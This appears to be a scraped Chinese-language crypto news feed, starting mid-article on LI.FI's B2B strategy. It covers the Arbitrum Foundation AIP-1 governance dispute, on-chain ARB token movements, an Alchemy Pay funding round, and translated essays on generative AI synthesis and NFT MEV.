Ethereum 之间转移资产，LI.FI 的 SDK 将确定跨越桥梁和去中心化交易平台（DEX）的最佳路径以转移资金，从而使开发人员能够专注于他们的核心竞争力。 将聚合器（如 Li.Fi）视为开发人员在其应用程序中放置的构建组块，以帮助用户以最低成本在链之间移动资产 尽管市场上有很多类似的竞争对手，但 LI.FI 是一个很好的例子，因为他们符合我之前提到的标准，而且 Philipp 在八个月前也与我分享过这些标准，我一直以此作为本文的基础。但是，让我们回到 LI.FI 的策略上。 LI.FI 已经做了几件事情，满足我之前提到的标准，建立了强大的护城河： · 他们专注于企业而非散户，旨在吸引构建需要跨链转移的应用程序的开发者。 · 他们的产品可以为企业节省研究和维护时间和资源，在熊市中相对容易销售。 · 对于终端用户，LI.FI 提供了最佳的转移成本基础，增加了人们使用其集成 SDK 的产品的意愿。 · 他们是第一个集成新链的平台，竞争较少。 · 他们的目标用户群主要是已经熟悉加密货币的行业大咖，不需要太多知识普及工作。 尽管 LI.FI 并不是市场上唯一的跨链聚合器，而且即便是他们符合我之前提到的成本、人口统计和使用案例标准，任何一个聚合器也很难建立强大的护城河。我感兴趣的是，LI.FI 如何从一种新奇工具逐渐转变为一种便捷工具。 在早期，用户之所以依赖桥接聚合器，是因为在不同的区块链之间转移资产是一个耗时的过程，需要通过中心化平台和安全检查。如今，DeFi 用户正在跨链发送数十亿美元，但普通人并不感兴趣。 那么，当新奇感消失时，你如何生存呢？如果你注意到 Nansen 和 LI.FI 是如何运作的，你可以通过观察他们将产品服务卖给了谁来获得答案：LI.FI 主要面向开发人员进行销售，昨天 Nansen 推出了 Query，这是一个让企业和大型基金直接访问 Nansen 数据的工具，他们声称在查询数据方面，它比最接近的同行快六十倍。那么，为什么这两家公司都专注于开发人员呢？ 对于使用 Nansen 查询工具的任何人来说，关键问题是该工具是否节省了足够的时间和精力以使其成本合理。如果内部开发工具的成本低于委托第三方（例如 LI.FI）的成本，则决策者通常会避免从头开始构建。 要想脱颖而出成为一种便利工具，企业必须专注于少数高收益用户，这些用户愿意为产品的附加价值付费。通过迎合这些用户，企业可以产生足够的收入，吸引更多用户使用其产品，并成为首选的便捷工具。 我与 Nansen 的 Alex 谈论了这个框架，他提出了一个不同的观点。用户始终寻求价值，无论市场状况如何。在熊市中，企业和网络等大客户需要特定的数据集，这些数据通常无法从第三方供应商处获取。通过定制产品以满足他们的需求并展示其价值，公司可以产生更多的收入并面对更少的竞争。 在我之前的文章中，我错误地认为使用区块链是竞争优势而不仅是产品特性。自那以后，许多 DeFi 收益汇聚平台已经推出，但其中大多数都失败了。如果竞争对手可以使用相同的功能并提供更好的用户体验或者像 Gem 一样引入 Token，那么简单地集成区块链可能并不重要。在这个竞争的环境中，我们需要思考什么才是真正可以区别产品的因素。 当我写这篇文章时，有一些趋势是显而易见的。首先，在熊市中获取用户十分昂贵，因为散户投资者的兴趣很低。除非产品具有新奇性或便利性，否则产品将处于一个艰难的位置。其次，专注于为其他企业（B2B）建立产品的企业可以在牛市中实现可持续增长并占领市场，就像 FalconX 一样。第三，设计不良的 Token 只能段时间成为竞争优势，但长期来看是一种负担。只有少数社区成功地提高了 Token 的价值。 当我们思考像游戏或 DeFi 这样的散户市场时，很明显大多数人不关心区块链的技术细节、去中心化或链上身份，他们关心的是他们可以从中获得的价值。尽管区块链可以增强最终用户产品的价值，但创始人常常陷入为风险投资家（VC）或 Token 交易者建立和销售产品的陷阱，而没有基于成本、便利性和社区的竞争优势。  ( 3 min )
    Arbitrum基金会透明度遭诟病，欲通过AIP-1“窃取”10亿美元？
    作者 | Fxstreet Ekta Mourya 编译| PANews 就在ARB代币空投几天后，3月28日，Arbitrum社区在Snapshot上发起Arbitrum Improvement Proposal 1 (AIP-1)提案投票，拟引入一个名为ArbitrumDAO的去中心化自治组织结构，该组织由ARB持有者管理，位于开曼群岛的Arbitrum基金会将为ArbitrumDAO社区服务并受其管理，旨在促进Arbitrum生态系统的成长和发展。 不过，创建ArbitrumDAO可能是一个“幌子”，因为该提案的背后实体Lemma还将申请7.5亿枚ARB代币（价值约超10亿美元）资金拨款（Lemma是Arbitrum基金会的服务提供商，主要专注于运营的治理组件），但社区很快发现，Arbitrum基金会很可能想用这个提案“窃取”这笔钱。 AIP-1提案目前尚未获得批准，但Arbitrum基金会已经事先创建了一个地址名为“Arbitrum DAO Treasury2”的多重签名钱包，并且收到近7亿枚ARB代币，尽管Arbitrum基金会的一位代表称该地址是 Administrative Budget Wallet，但这个说辞并没有被社区接受。 实际上，AIP-1提案让Arbitrum社区感到“不爽”主要有以下三个原因： 1、对高达7.5亿枚ARB代币捐款没有实质投票权 社区发现，Arbitrum基金会这个貌似透明的提案其实将赠款分配排除在链上治理之外，ARB持有人无法决定Arbitrum基金会将近10亿美元的资金分配给谁或如何分配，因为Arbitrum基金会不需要将其赠款分配置于“完全链上治理”。 2、没有任何安全和监督措施 4月2日，Arbitrum基金会员工Patrick McCorry发文称Arbitrum生态系统对从协议治理到数十亿美元资金所有事项进行的首次社区投票是“批准”而非“请求”，这个提案是告知社区所有提前做出的决定。 3、Arbitrum基金会由三人控制 Arbitrum社区发现，真正确定谁能获得赠款的实体是一个只有三名董事组成的基金会，他们分别是：Campbell Law、Edward Noyons和Ani Banerjee，Campbell Law是数字资产合规公司Provenance的联合创始人，Edward Noyons目前担任DAO咨询公司Marfire董事，而Ani Banerjee的背景尚不清楚。 自ARB空投以来，Arbitrum基金会一些举措引起了DAO研究人员和ARB代币持有者的质疑，根据Arbitrum基金会文件，42.78亿枚ARB代币将分配给 Arbitrum DAO金库，然而根据AIP-1提案显示，只有3,527,046,079枚ARB代币被转移到DAO金库。 更重要的是，AIP-1意味着当前社区治理状态和透明度的倒退，据称ArbitrumDAO将对资金库拥有直接的链上治理权，因此社区无法获悉7.5亿枚ARB代币被取出并转移到不受监督的“特别拨款”代币分配原因。根据Arbitrum基金会的文档，42.78亿枚ARB代币本应分配给Arbitrum DAO金库，但AIP-1中只有3,527,046,079枚ARB代币被转移到DAO金库，这个单独的钱包将由Arbitrum基金会控制，所以认为这次投票需要慎重考虑。据悉DAO金库地址原为0xF3FC178157fb3c87548bAA86F9d24BA38E649B58，但现在却是0xc24e24383120669512a336fb3b5b19afb4cc2a56。 事实上，Arbitrum此前已明确说明过预算钱包的用途： 1、提供特别拨款 2、补偿适用服务提供商的总设置成本 3、支付Arbitrum基金会的持续行政和运营成本 Arbitrum社区普遍认为，Offchain Labs已经先发制人地分离了Administrative Budget Wallet，因此如果没有进一步明确拨款流程、资金持有方式和监督方式，草率通过AIP-1提案势必会引发后续问题，比如： 1、指定行政预算钱包的签名者是谁？（是否只有Arbitrum基金会三位董事可以签名？） 2、为什么这7.5亿枚ARB倒闭能从金库中取出？（这7.5亿代币本应属于金库的一部分，但现在似乎处于三位董事中心化控制之下？） 3、即使有多重签名，如果恶意行为者获得访问权限，也会给Arbitrum带来巨大的安全风险。 截至目前，包括BlockworksResearch和Arbitrum生态最大治理代表TreasureDAO均已表示反对AIP-1提案，或许是迫于社区压力，Arbitrum在官推澄清基金会没有出售5000万枚ARB代币，其中4000万枚被作为贷款分配给金融市场中参与者，剩下的1000万则被兑换成法定货币并用于运营成本。与此同时，AIP-1投票也出现翻转，从最初81.7%的赞成票变成了现在82.56%的反对票。 不仅如此，Arbitrum基金会还宣布拟对7.5亿枚ARB代币的分配进行独立投票，并且还会把AIP-1提案分解为一系列单独的提案投票，柄为“生态系统发展基金”提供提供有关如何使用资金的背景信息和一份于基金会预算的“透明度报告”。 AIP-1提案将会在4月4日结束投票，Arbitrum基金会能否如愿“获取”这7.5亿枚ARB代币，让我们拭目以待。  ( 2 min )
    PA图说 | 一图掌握BNBChain上NFT一周关键数据（03.27—04.02）
    PANews APP 2.0 全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    加密支付服务商Alchemy Pay从DWF Labs获得1000万美元投资
    PANews 4月3日消息，据CoinDesk报道，加密支付服务商Alchemy Pay以 4亿美元的估值获得了做市商DWF Labs的1000万美元投资，以扩大其在韩国的业务。 该公司为加密货币公司提供了一种访问法定支付系统的方式，新资金旨在并帮助韩国当地公司实现更大的国际化。为此，它之前曾与Visa、Mastercard、Google Pay和Apple Pay等公司合作。  ( 1 min )
    生态在狂奔，治理闹丑闻？一文了解Arbitrum基金会争议操作始末
    原文：《未经治理流程出售代币？解析Arbitrum基金会争议操作始末》 作者：Loopy Lu 今日，一则关于 Arbitrum 这一明星项目的新闻引发了社区争议，且仍在持续发酵之中。 根据周日早些时候一名员工的博客文章，Arbitrum 基金会在其代币持有者治理社区“批准”该组织近10亿美元的预算之前，就开始以稳定币的形式出售 ARB 代币。 这一行为激发了社区的声讨，ARB代币价格也应声下跌至最低 1.15 美元附近，日跌幅一度逾越 10%，现反弹至 1.18 美元附近。 4月1日，Arbitrum社区已发起Arbitrum Improvement Proposal 1 (AIP-1)提案，拟引入一个名为ArbitrumDAO的去中心化自治组织结构，该组织由ARB持有者管理，位于开曼群岛的Arbitrum基金会将为ArbitrumDAO社区服务并受其管理，旨在促进Arbitrum生态系统的成长和发展，该提案背后实体Lemma还将申请7.5亿枚ARB代币（价值约超10亿美元）资金拨款。 尽管该提案目前尚未获得批准，但已经创建了一个地址名为“Arbitrum DAO Treasury2”的多重签名钱包，并且收到近7亿枚ARB代币，Arbitrum基金会的一位代表称该地址是 Administrative Budget Wallet。 然而，Arbitrum DAO出师不利，第一个提案即引发了巨大争议。 按照空投之时项目方所公布的代币经济模型，总量42.78%（42.78亿枚）的代币本应分配给 Arbitrum DAO 的社区金库。而按照AIP-1，原本属于社区的7.5亿枚ARB或将被挪用给基金会，并以此建立生态基金。而按照官方的口径，这一举措的目的在于“用于支持 Arbitrum 生态增长的特别捐款计划”。 在投票指出，AIP-1的推进进程尚且顺利。但随着社区成员的批评与参与的热烈，愈来愈多的人对这一提案投下反对票。截至本文发布时，反对票数量已经高达75%。 在治理论坛上，围绕着这次提案，出现了不止一处引发社区成员不满的地方。有投资者反馈持有 ARB空投却无法参与投票；链上数据显示提案中所分配的7.5亿枚ARB未等提案通过就已被转移；7.5亿枚ARB存在安全风险等等。 而更为受到诟病的则是，链上数据显示，Arbitrum基金会转移了5000万枚ARB代币，人们纷纷怀疑基金会过早大额套现。 今日晚间，Arbitrum基金会在官方推特对此作出澄清：基金会没有出售5000万枚ARB代币。其中4000万枚被作为贷款分配给金融市场中的一个精明的参与者，剩下的1000万则被兑换成法定货币，并用于运营成本。 而关于备受关注的AIP-1，基金会使用了一个有趣的说法来作为比喻，“先有鸡还是先有蛋？” 尽管社区对AIP-1中的许多细节都做出了质疑，但这些提案内容（至少在基金会眼中）却是必不可少的。Arbitrum基金会认为，考虑到Arbitrum链的核心技术交接和可升级性，需要在DAO设立之前确定诸多参数。具体而言，包括将代码移交给DAO、创建安全委员会、设定代码升级的时间延迟、建立初始规则、建立AIP提案机制、Nova上的初始验证器、DAC等等。 因此，社区成员认为的“这些细则应由DAO进行制定”在技术上来讲是不可能的。若不进行一系列的初始设定，无法将Arbitrum链移交给Arbitrum DAO。所以，这是一个“先有鸡还是先有蛋”的问题——不由基金会进行初始运营，则无法创建DAO。 而关于已经发生的代币转移，Arbitrum则给出了官方的回复。基金会认为，AIP-1不是一项拨款“请求（request）”，而是要求社区“批准（ratification）”。 基金会认为，社区混淆了请求和批准两个概念。基金会认为，目前发生的事情，是基金会已经作出的决定，提案并不是在向社区请求一项行动，“AIP-1的目的是告知社区已经提前做出的所有决策。” 而关于这一“误会”产生的原因，基金会则将其归因于“分类不清晰”。他们认为，可能是治理文档中对代币分配分配饼图的不清晰分类，让社区对此产生了误解。在原始饼图中，DAO Treasury地址和基金会的分配被放在了同一个板块，并被描述为“DAO Treasury”。而这一部分若分为两个部分，则会呈现的更为“清晰”。 引发社区质疑，代币价格下跌 在历经多种令社区失望的操作之后，Arbitrum基金会的行为让社区对其批评不断，而ARB代币的价格也应声下跌。 OKX欧易行情显示，ARB代币现报1.18 美元，24小时内下跌9％。 有社区成员认为，AIP-1并不是一次真正的投票。在未经社区同意之时，提案内容就已被执行，这样的投票又有何意义呢？ 目前，关于这一事件的质疑已向行业中横向延伸，Blockworks Research已对这一提案投出反对票。Blockworks表示，将致力于改进DAO治理和透明度，并痛斥AIP-1意味着当前社区治理状态的倒退。Blockworks认为，高达7.5亿枚的ARB代币或由Campbell Law、Edward Noyons和Ani Banerjee三位初始董事运营的Arbitrum基金会控制。他们认为基金会的举措加剧了中心化，并从即将到来的ArbitrumDAO手中剥落了部分权力。 值得一提的是，ARB空投之时，共137个DAO 获得了ARB空投。这也是第一次针对DAO的大规模空投。我们不难想象，在未来数日，随着这一事件的持续发酵，诸多持有大量ARB的DAO组织都将被迫表态，或支持、或反对。而他们的表态，将可收获或失去社区成员的信任。 随着AIP-1投票截止日期的临近，若最终这一提案未获通过，Arbitrum基金会又将如何反应？Odaily星球日报将对这一事件持续追踪报道。  ( 2 min )
    Arbitrum管理员：26.94亿枚ARB的部分转账系使用CoinBase托管账户，以启用托管解锁服务
    PANews 4月3日消息，针对此前Offchain Labs团队与Future团队及顾问的26.94亿枚ARB转入140个EOA地址，Arbitrum DAO社区管理员eli表示部分代币系转移至CoinBase的托管账户，锁仓期为4年，旨在采用CoinBase的托管解锁服务。 此前今日早些时候消息，Lookonchain表示，此前分配的约27亿枚ARB本应有4年锁仓期，部分ARB已被转至交易所。 相关阅读：Arbitrum基金会透明度遭诟病，欲通过AIP-1“窃取”10亿美元？  ( 1 min )
    分析：此前分配的约27亿枚ARB本应有4年锁仓期，部分ARB已被转至交易所
    PANews 4月3日消息，据Lookonchain发推表示，26.94亿枚ARB于2日前通过0x1e70开头地址被转移分配至约140个EOA地址，该数量的ARB应该是分配给Offchain Labs团队、未来团队和顾问的部分（26.94%），但该部分代币该有4年的锁仓期。 Lookonchain补充表示，0x8d45开头地址在收到ARB后已将2256万枚ARB（约合2800万美元）转移至Coinbase。其他地址虽然还没有转账操作，但收到的ARB可以随时转入交易平台出售，不受代码限制。 此前4月1日消息，约27亿枚ARB从Arbitrum归属地址转出，此次分配或属于团队和顾问。  ( 1 min )
    生成式AI下个趋势？从信息生成到信息合成
    作者：Zeya Yang and Kristina Shen 翻译：阿法兔 过去几年大家见证了大语言模型（LLM）逐步成为主流，并研究了这项技术在B2B领域的应用情况。尽管取得了巨大的技术进步，但我们认为，我们仍处于B2B用例的生成式AI应用的早期——第一波浪潮之中。 随着各公司逐步开发自己的应用，并且开始寻求围绕产品建立护城河，我们预计很多业务中的目标和实现方法，将会迭代到“第二波浪潮“之中。 如何理解这里的“迭代”？ 到目前为止，绝大多数生成式AI应用，都集中在信息 divergence 之上。也就是说，目前的应用，主要是根据一组指令，来创造新的内容。 而在第二波生成式AI浪潮之中，相信市场会见证更多用于信息汇集的生成式AI应用，这些应用会通过综合现有信息，向我们展示更精细化、筛选出来的内容（That is, they will show us less content by synthesizing the information available.）为了和第一波生成式AI浪潮进行区分，我们把第二波生成式AI浪潮，称为合成人工智能（"SynthAI"）。 虽然第一波生成式AI浪潮在应用层创造了一些价值，但第二波生成式AI浪潮将带来下一步功能变化。 那么，下一步，生成式人工智能在B2B的解决方案会是什么走向？ 结论是：B2B解决方案之间的PK，将不会把重点放在令人眼花缭乱的AI技术能力，而更关注这些技术层面的能力，将如何帮助企业用户具备（或重新定义）更有价值的企业工作流程。 第一波生成式AI浪潮：跨越从C端用户到企业的桥梁 为了分析第一波生成式AI浪潮，首先我们要对B2C和B2B应用进行区分。当我们作为消费者，应用生成式人工智能时，我们的目标是以玩耍、娱乐和分享为导向。在娱乐层面，质量和正确性并不是最重要的：而让人工智能模型生成艺术或音乐这类功能更为重要，因为我们可以在Discord频道中分享，当然也会很快就会忘记它。大家通常会有一种心理倾向，认为更多的内容=生产能力=好，所以，用户通常会被吸引到生成式的、自动创造的AI工具。 举个例子：ChatGPT的兴起，就是很具备说服力的案例：因为用户真的容忍了这个聊天机器人很多质量上的缺陷，就是因为大家能用它，生成更丰富的内容，并且分享，令人印象深刻。 当涉及到B2B应用时，业务目标就不同了。这里的目标，主要是围绕时间和质量的成本效益评估。我们要么希望能够用同样的时间产生更高的质量，要么希望产生同样的质量，但是速度更快。 人们使用B2B应用主要是在工作场所，在这类的场景中，质量更重要。然而，今天人工智能生成的内容，主要是为重复性和低风险的工作提供的，这种业务层面上，要求通常不高。例如，生成式AI很可以为广告或产品描述撰写文案，许多这个领域的B2B应用，表现出明显的增长态势。 但我们随后也发现，生成式人工智能在撰写意见或论据方面确实不可靠（即使AI生成的内容令人信服或有信心，它也往往无法达到我们想要的准确程度）注意，当涉及到B2B生产环境中的创新和合作时，这一点更重要，大模型生成SEO信息也许是可用的。但是，如果让它为开发者撰写一篇详细新产品的博客文章，将会需要不小的人力去完善，以确保这篇文章是准确的，与目标受众产生共鸣。 另一个常见例子是AI用于编写销售的电子邮件，生成式AI对于普通的、冷冰冰的冷启动邮件是很有用的，但对于准确的个性化邮件来说就不太可靠了。从一个优秀销售的角度来看，生成式AI有助于在更短的时间内写出更多的电子邮件，但要写出能提高回复率，并带来订单的电子邮件（这也是对销售代表的评价），销售代表还是需要仔细研究，并通过自己判断，了解潜在客户想听什么。 从本质上讲，在头脑风暴和早期，第一波生成式人工智能对于更实质性的写作是成功的，但最终，越是需要创造力和领域内人专业知识，就越需要人为完善。 即使在生成式AI对较长的博客文章有用的情况下，你的Prompt必须是精确的。也就是说作者必须已经对代表自己博客文章的实质概念，具备清晰认识。然后，为了得到良好的结果，作者必须对AI输出的结果进行审查，迭代Prompt，不行的话，还要重写整个章节。 这里有个例子是用ChatGPT来生成法律文件，需要熟悉法律prompt的人提供所有需要的条款，然后ChatGPT可以用这些条款来生成草案。注意，AI不能执行当事方之间的谈判过程，但一旦所有关键条款都确定下来，生成式AI就可以出品较长的法律类文件草稿。不过，这些工作仍需要职业律师对它进行审查，编辑输出，以使这项文件达到可以签署的出品样本。 这也是为什么这类成本+效益评估模式，会在B2B背景下打破。 知识工作者正在评估如何工作流程中增加一个额外的AI功能的步骤是否值得花时间？是否应该还是由我们自己做？ 当我们进入第二波生成式AI浪潮的时候，焦点会从信息生成转向信息综合。注意，在知识工作中，决策能力具备巨大价值，而员工的报酬是根据不完善信息做出决定，而不一定是单纯执行或解释这些决定而产生的内容数量而决定的。在许多情况下，更长的时间并不意味着更好。 许多常识和公理都支持下列观点： 1.代码行数不是衡量工程生产力的好方法 2.更长的产品内容，不一定就能起到更清楚的说明作用 3.更长幻灯片，也不一定能提供更多见解 Hex公司创始人Barry McCardel认为，人机可以共生，比如说LLM如何能够改善我们的工作方式？ "AI在这里是为了增强和改善人类的能力，而不是取代人类。 因为当涉及到理解世界和做出决策时，人类一定要参与其中。人工智能能做的是帮助人类将更多的脑电波，应用于有价值的、创造性的工作，这样我们不仅能在一天中花更多的时间来做重要的工作，而且还能解放自己，从事最有价值的工作。" 那么，AI如何改善人类的决策？法律专家需要专注于综合和分析，提高决策的质量和/或速度（上面的B2B图），明显的应用是，去总结人类自己永远无法直接消化的大量信息。 SynthAI在未来的真正价值是，帮助人类更快地做出更好的决定。 这里的设想几乎与ChatGPT的用户界面相反：与其根据简明的Prompt写出长篇大论的回复，如果我们能从海量数据中，逆向设计出总结的简明提示，会怎么样？（Instead of writing long-form responses based on a concise prompt, what if we could reverse engineer from massive amounts of data the concise prompt that summarizes it? ） 这将有机会，让我们重新思考用户体验，使其尽可能有效地传达大量的信息。例如，像Mem这样由AI技术驱动的知识库，保存着某个组织中的所有会议笔记，可以主动对相关的决策、项目或人发起建议，当组织中的角色开始一个新项目时，应该参考这些决策、项目或人，从而节省了他们浏览先前机构沉淀知识的数个小时（甚至几天）的时间。 回到上面一个对外发送营销邮件的例子，一个潜在的表现是，AI可以识别目标客户，究竟在何时会处于最高水平的购买意图（基于新闻报道、人才迁移等），并提醒相关销售代表。然后，人工智能模型将根据综合研究，建议在电子邮件中提一两个最重要的问题，以及与想要销售的目标客户最相关的产品功能。 这些输入，可以被输入到第一波生成式AI带来的解决方案中，但其价值来自于综合阶段，并为销售人员，节约了对单一潜在客户的研究时间。 确保这种综合信息质量足够高的根本转变是，从大规模的通用模型转向能够应用多种模型的架构，包括在特定领域和特定用途的数据集上训练的更精细模型。例如，某个构建客户支持应用的公司，会使用以支持为中心的模型，该模型可以访问公司的历史支持票据，但在其他情况下又会回到GPT。在建设专有微调模型和数据集壁垒，这些组件会成为公司速度和质量的护城河。 当我们思考，第二波生成式AI浪潮可能是什么样的时候，我们相信从SynthAI中，受益最大的应用场景将是以下两种情况： 1.存在大量信息的场景，人类很难手动筛选所有的信息。 2.高信噪比场景，主题或抽象出来的观点必须具备准确性 人工智能对工作流的改造，会带我们走向一个新的生产力时代。  ( 2 min )
    数据：近10天约4780万枚ARB被转至Wintermute Trading相关地址
    PANews 4月3日消息，据Lookonchain监测，链上标记为“Arbitrum基金会: Deployer”的地址于北京时间3月17日03:36将7500万枚ARB转至0xc24e开头的地址；随后，0xc24e开头的地址于北京时间3月22日06:13将4000万枚ARB转至0xcce3开头的地址，而0xcce3开头的地址曾与做市商Wintermute Trading地址发售过互动，因此Lookonchain认为0xcce3开头的地址或与Wintermute Trading有关。除此笔交易外，链上标记为“Wintermute Trading”的地址曾在近十天内从“0xba01”开头的地址收到780万枚ARB。 此外，据推特网友Cringe.eth的推文，在上述“Arbitrum基金会: Deployer”地址将7500万枚ARB转至0xc24e开头的地址后，0xc24e开头地址于北京时间3月24日08:40向币安热钱包转移了约500万枚ARB。  ( 1 min )
    探索NFT原生的解决方案：NFT MEV的基础设施和机会
    作者：Alana Levin,Variant 编译：深潮 TechFlow NFT 市场结构与 FT 市场结构大不相同。在 NFT 市场中，资本形成事件（铸造）更为频繁，二级交易量较低，出价流动性方面存在挑战，并且存在许多链下订单簿。 由于这些差异，NFT MEV 也不同。特别是，套利机会较少，而在铸造过程中提取的 MEV 更多。我们还确定了几种 NFT 市场独特的 MEV 形式：将地板价扫描并重新列入竞价墙（人为地创建套利高交易量），特征狙击，以及从非活跃列表中提取。 将 DeFi 市场视为更成熟的市场，并将其用作 NFT 可能前进的代理。这有助于阐明今天存在的差距和可解决这些挑战的基础设施领域。这些机会包括 MEV 感知的铸币解决方案、更开放的定价数据、动态的链上订单簿、尝试新的拍卖样式以及为交易者提供额外的沟通渠道。 目前，围绕 NFT 的价值流通通常发生在初始铸造时，在二级市场上交易或借出时。这两种价值流通都可能存在 MEV，即在链上交易时从用户中提取的经济效率低下的成本。如何处理这些 MEV 可能会影响市场活动的商业模式和受益者——从交易者到市场、钱包和创作者。 然而，在 NFT 领域中，MEV 似乎是一个鲜为人知的话题。我认为，这是因为 NFT 市场的结构与 DeFi 大不相同。重要的是，这些基本差异——包括更多的一级活动、较小的代币供应量以及较少的二级流动性——影响了价值的流动。 本文将试图阐述 NFT 市场中的一些新兴 MEV 机会，不断变化的市场动态如何影响这些机会以及可以考虑这些因素建立的基础设施。 了解 NFT 市场当前的结构是识别 MEV 如何在市场中表现的有用基础。该过程始于用户铸造 NFT，我将其称为资本形成事件，类比于同质化代币的空投或发布（通过在链上创建新资产）。然而，同质化和非同质化市场之间的差异至少有三个方面： 当用户决定不再拥有他们的 NFT 时，他们可以在市场（如 OpenSea、Blur、Reservoir 支持的许多市场）中出售。这些订单通常会被列入链下订单簿，在那里等待直到订单被履行或取消。对于这些链下订单簿，实际的链上活动有几个触点：第一次列出订单（即设置列出批准），取消订单和履行订单。更改列表价格需要卖方签名，但不需要额外的 Gas 费用。还有一些直接在链上运行的订单簿，例如 Zora 和 Sudoswap。 除了一级市场和二级交易之外，值得注意的是，还有一个新兴的 NFT 实用性市场。链上实用性可能涉及质押 NFT 以获取奖励、委派参与即将到来的空投、在使用其作为游戏资产时销毁（摧毁）NFT 等等。但是要将“新兴”放在适当的背景下：2 月，一级和二级市场交易量接近 20 亿美元，而 NFT 借贷市场的借款量只有几亿美元。除借贷之外的其他实用性市场更加不成熟。因此，铸造和交易将继续是本文的重点。 我将 MEV 定义为市场内的任何形式的低效率，导致交易发起者（用户、钱包、应用程序）向堆栈下方（搜索器、区块构建者、验证器）泄漏价值。这是一个宽泛的定义，但在考虑不同的价值捕获和/或价值再分配机会时，宽泛是有帮助的。常见的 MEV 形式包括套利、三明治攻击、清算。 套利和夹击通常需要高交易量和深度流动性，因为价差往往很小，套利者希望快速进出其头寸。NFT 市场通常没有这些条件。此外，市场上存在流动性挑战：通常情况下，每个列表的另一侧都没有准备好的买家。这意味着即使有人发现了套利机会，退出（即重新列出并销售）也可能有风险。 一些 NFT 原生的套利形式，以及与之相关的风险，如下所示： 扫描并重新列出地板价以获取更高的价格。许多交易员声称可以赚取利润，利用可能位于地板价之上的投标墙。在这种情况下，交易员几乎是人为创造套利所需的高交易量。这种类型的套利所涉及的主要风险包括高资本成本和库存要求。 找到尚未被视为相似需求的巧合。例如，某人以 1 ETH 的价格列出了他们的 CryptoPunk 红色/蓝色眼镜，而其他人则为任何带有红色/蓝色眼镜的 CryptoPunk 出价 2 ETH。搜索器可以介入，调用 Seaport 的 MATCH 功能来满足这两个订单，并将差额作为小费（奖励）获得。这对我来说是一种低风险的套利机会，虽然不太频繁。在这里，未执行是搜索者面临的主要风险。 Trait sniping 是 NFT“非同质化”组件中独特的一种套利形式。如果某人看到一个带有特定特征的 NFT 正在以 X 的价格交易，但知道其他具有相同特征的 NFT 交易价格为 X+Y，则可以购买并重新列出更高价值。如果搜索者支付大量 gas 以确保他们的投标被优先处理，就会实现 MEV。在这种情况下，搜索者面临退出风险：可能没有一个等待在其列表的另一侧的投标。因此，搜索者必须承担在未知期间内持有库存的风险，并接受特征价格长期波动的风险。 目前，在 NFT 市场中似乎没有太多的三明治攻击。这部分原因是，大多数 NFT 在可用供应量变化时不会动态重新定价。 在同质化市场上，大订单会影响市场。对于 NFT 来说，购买 10%的地板价 NFT 并不会直接改变其他地板价 NFT 的定价。 NFT 通常是单独定价的，而不是聚合定价。值得注意的是，一些动态定价基础设施（如 NFT 自动化市场制造商“Uniswap for NFTs” Sudoswap）正在出现。Sudoswap 通过确保至少存在一些针对池化 NFT 的投标来解决 NFT 的流动性问题。权衡之处是，动态的、自动化的定价也扩展了三明治攻击的面积。 在借贷市场中存在另一种常见的 MEV 形式，称为“清算 MEV”-搜索者通过第一个发现并获取清算费而获利。越来越多的借贷交易正在链上构建（例如，在 Seaport 这样的协议上直接居住清算引擎），具有不断下降的价格拍卖机制，当价格越过储备抵押品价格时，就会触发清算。我想会有一群搜索者专门致力于操纵地板价/某些 NFT 抵押品价格，以便他们可以预先或控制 NFT 何时被清算。 可能包括： 在铸造过程中拥堵。热门的铸币可以导致用户支付数百万美元的 Gas 费用：这是 NFT 项目创造的价值，但最终被验证器提取。 在铸造过程中使用机器人。搜索者可以在 mempool 中发现第一个铸币交易，检查将要铸造的代币供应量，并预先竞标部分或全部剩余的铸币。 意外留下未交易的订单（通常称为非活跃列表）。因为取消订单会产生费用，有时用户会简单地将 NFT 转移到新钱包以结束订单。棘手的是，这在技术上保留了原始的订单——如果该人将 NFT 重新转移回原始钱包，则该订单将重新出现。到那时，地板价可能已经上涨到原始挂单以上，明智的第三方可以抢占低估价值的 NFT。MEV 是由于搜索者可能通过高 gas 费贿赂验证器，以确保其对该列表的投标得到优先考虑而产生的。 与 NFT 租赁相关的套利。我们看到趋势是将 NFT 权利/实用性从资产本身中解除束缚。换句话说，NFTs 的 AirBnb 正在出现：拥有资产（房子），但让其他人支付费用以临时使用/享受业主通常享有的利益。这种流动的委托对于与空投相关的套利尤其有用——购买大量 NFT 的权利（而不是尝试购买 NFT 本身）以期待空投需要更少的资本，限制地板价急剧上涨，并提供机会来获取空投供应的重要部分。如果我们开始看到对空投的更高资格要求（正如我们已经在同质化市场中看到的那样），那么持有这些 NFT 的人可能具有关于其NFT可索赔空投的可能规模的非对称信息。 最后，可能还有更多形式的 NFT MEV 我没有提到，包括假冒、与烧毁和赎回功能相关的低效性以及预先竞标铸造（只是其中之一）。这个列表意在具有创意和启发性，希望可以激发关于减少或抓住 NFT MEV 机会相关的想法/项目。 基础设施的机会 基于市场的当前状况以及 MEV 特别存在的领域，以下可能提供有趣的机会来构建 NFT 原生基础设施。 展望未来，我坚信我们将看到更多围绕 NFT 的发展。目前的情况是，大多数 NFT 都是异质的，因此很难作为替代品。共享特征或地板价代币更接近于替代品，但消费者偏好仍可能有所不同。 相比之下，NFT 作为高尔夫球赛事的场地通行证——在这种情况下，异质性可能存在，因为某些特征（如日期）会造成偏好上的差异，但总体而言，它们作为近似替代品，因为消费者会在给定日子内区分门票（假设所有门票都提供同等进入活动的权利）。 随着光谱的发展，NFT开始代表从链上艺术到门票、联盟链接、IP许可证、产权证书等各种物品，我想我们会看到更多的MEV出现。 总的来说，感觉我们仍处于 NFT 的早期阶段。 我喜欢思考 NFTs，因为我认为它们是将外生资本引入加密生态系统的一种绝佳方式，并且我认为设计空间是完全开放的。但在任何市场的早期阶段，总会存在一些低效率。 我希望探索 MEV 如何在整个市场中存在——以及这种探索为构建更愉悦的用户体验提供了哪些机会——将有助于铺平更大范围的采用道路。  ( 3 min )

  • Open

    【英文长推】3 个 Arbitrum 巨鲸钱包持仓分析：聪明钱看好哪些投资机会？
